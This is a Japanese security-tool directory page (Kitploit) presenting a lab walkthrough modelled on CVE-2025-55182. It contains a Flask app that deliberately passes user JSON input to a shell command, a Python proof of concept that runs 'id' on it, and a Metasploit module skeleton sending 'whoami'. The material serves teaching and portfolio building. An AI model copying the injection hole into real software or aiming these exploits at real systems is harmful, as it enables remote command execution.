Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-Metasploit-exploit-skeleton-real-flow- — 以下が完全なLAB計画です: demo-vulnerable app → Python PoC → Metasploit exploit skeleton | Kitploit
ツール/GitHubGitHub/nulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-
エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発ラボと実践
GitHubnulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

以下が完全なLAB計画です: demo-vulnerable app → Python PoC → Metasploit exploit skeleton

リポジトリを見る
28ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🧪 ステップ1: デモ用脆弱性Webアプリ(LAB)

CVE-2025-55182 に似たロジック(安全でないサーバーサイド実行)を作成します。

📁 vuln_app/app.py

root@kitploit:~
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/render", methods=["POST"])
def render():
    data = request.json.get("component")

    # ❌ VULNERABLE: user input to command execution
    result = subprocess.getoutput(data)
    return result

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

起動:

root@kitploit:~
pip install flask
python app.py

📌 これはReact2Shellに似ています:

サーバーサイド入力 → 実行

🧪 ステップ2: Python PoC(テストエクスプロイト)

これはRCEが存在することを証明するためだけのものです。

📁 poc.py

root@kitploit:~
import requests

url = "http://127.0.0.1:3000/render"

payload = {
    "component": "id"
}

r = requests.post(url, json=payload)
print("[+] Server response:")
print(r.text)

出力された場合:

root@kitploit:~
uid=1000(user) gid=1000(user)

✅ RCE確認済み(LAB)

🧠 ステップ3: Metasploitエクスプロイトのスケルトン

これはプロフェッショナルなフレームワーク形式ですが、武器化されたものではありません。

📁 場所

root@kitploit:~
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb

📄 lab_react_like_rce.rb

root@kitploit:~
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'LAB React-like Server RCE',
      'Description' => %q{
        Demonstration exploit for unsafe server-side execution.
        Tested only in a controlled lab environment.
      },
      'Author'      => ['Behruz'],
      'License'     => MSF_LICENSE,
      'Platform'    => ['linux'],
      'Arch'        => ARCH_CMD,
      'Targets'     => [['Automatic', {}]],
      'DisclosureDate' => '2025-01-01',
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
    ])
  end

  def exploit
    print_status("Sending lab command execution request")

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'ctype'  => 'application/json',
      'data'   => {
        'component' => 'whoami'
      }.to_json
    })

    print_good("Request sent (LAB validation only)")
  end
end

使用方法:

root@kitploit:~
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run

📌 ここで:

❌ リバースシェルなし

✅ フレームワークの知識 + エクスプロイトのロジックあり

📁 ステップ4: ポートフォリオ構成(重要)

GitHubでは次のように表示されます:

root@kitploit:~
lab-react-like-rce/
 ├─ vuln_app/
 │   └─ app.py
 ├─ poc/
 │   └─ poc.py
 ├─ metasploit/
 │   └─ lab_react_like_rce.rb
 ├─ README.md

📝 ステップ5: READMEには次のように書きます

root@kitploit:~
## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.

## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted

## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation
ツールをダウンロード